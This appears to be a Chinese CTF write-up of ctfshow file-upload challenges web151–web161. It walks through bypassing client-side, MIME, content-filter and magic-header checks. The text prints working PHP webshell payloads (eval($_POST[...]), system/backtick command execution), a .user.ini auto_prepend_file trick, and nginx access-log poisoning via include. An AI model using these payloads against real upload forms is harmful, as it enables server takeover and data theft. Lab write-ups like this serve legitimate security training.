web151(客户端校验)

右键查看源代码

这是典型的JS验证,即使用客户端校验

我们直接在元素中,修改上传按钮标签中传递的文件后缀参数,改为php

此时再上传一个php一句话木马即可

1
<?php eval($_POST['R1ck'])?>

使用蚁剑连接

得到flag

web152(MIME校验)

本题源码与上一题一致,但是无法直接修改前端代码来绕过

观察到响应数据包中存在Content-Type字段,猜测使用了MIME校验

上传一句话木马后使用burpsuite抓包,修改Content-Type字段的值为image/png即可

web153(.user.ini)

尝试上一题的MIME校验绕过思路,发现无法绕过

抓包发现本题使用的是nginx服务器

尝试使用.user.ini绕过

上传ini.png文件,内容如下

1
auto_prepend_file=hack.png

抓包后将其名字改为.user.ini

接下来再修改前端,使其接收png文件,将木马上传

web154(过滤<?php

本关尝试上传hack.png时报错,而普通png图片可以成功上传,说明服务端对上传文件的内容有检测

我们使用二分更改一句话木马,判断一下过滤了什么部分

去掉前半部分,发现上传正常

去掉<?php,上传正常,去掉eval,上传失败

去掉<?,上传正常,去掉php,上传正常

说明过滤了<?php

在PHP中,代码必须被包含在特定的标记(tags)中以指明哪些部分应被解释为PHP代码,下面是5种常用的标记

  1. 标准PHP标记

    这是最常见的PHP代码标记,也是推荐使用的标记,适用于所有的PHP文件。

    1
    2
    3
    phpCopy code<?php
    // PHP代码
    ?>
  2. 短标记

    短标记更简洁,但需要在php.ini文件中开启 short_open_tag 配置

    1
    2
    3
    <?
    // PHP代码
    ?>
  3. 输出标记(Echo短标记)

    在 PHP 中,<?= ?> 是一个简写形式的 echo 语句,它用于输出一段表达式的结果

    1
    <?= "Hello, world!"; ?>

    这种标记无需 short_open_tag 配置即可使用,因为从PHP 5.4.0起,它已经默认被PHP支持。

  4. 脚本标记

    1
    2
    3
    <script language="php">
    // PHP代码
    </script>

    这种标记没有额外的配置要求

  5. ASP风格标记

    1
    2
    3
    <%
    echo "Hello, world!";
    %>
    • PHP 5.3:从PHP 5.3开始,这种ASP风格的标记默认被禁用。它们可以通过在php.ini文件中设置 asp_tagsOn 来启用,但这通常不推荐。
    • PHP 7.0:在PHP 7.0及更高版本中,支持 <% %> 标记的 asp_tags 配置选项被完全移除,这意味着ASP风格的标记不再被任何支持。

本题替换成<?=即可

web155

本题解法与上一题一致

web156(过滤中括号)

本关使用输出标记时仍然无法上传

用二分法定位过滤部分

去掉后半部分后上传成功

去掉'])?>后上传失败,去掉['R1ck后上传成功

发现是中括号[]被过滤,我们使用大括号{}代替

一句话木马变为<?=eval($_POST{'R1ck'})?>

web157(过滤中括号、大括号和分号)

二分法发现方括号和大括号和分号都被过滤

尝试直接执行命令而不是获得webshell

将木马文件中内容改为<?=system('tac ../f*')?>

web158

与上一题相同

web159(过滤所有括号与分号)

本题将小括号也过滤了,所以我们无法使用system等函数

用反引号代替

1
<?=echo `tac ../f*`?>

web160(过滤反引号)

本关将反引号也过滤了,无法进行命令执行

考虑使用文件包含的方法绕过

我们可以将后门代码注入到UA头中,这样包含后门代码的请求头会被记录在日志文件中,从而用include函数包含日志文件中的后门代码并执行

1
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

使用拼接是由于log关键字也被服务端过滤

web161(文件头检测)

本题在上一题的基础上加上幻术头GIF89a即可

web162()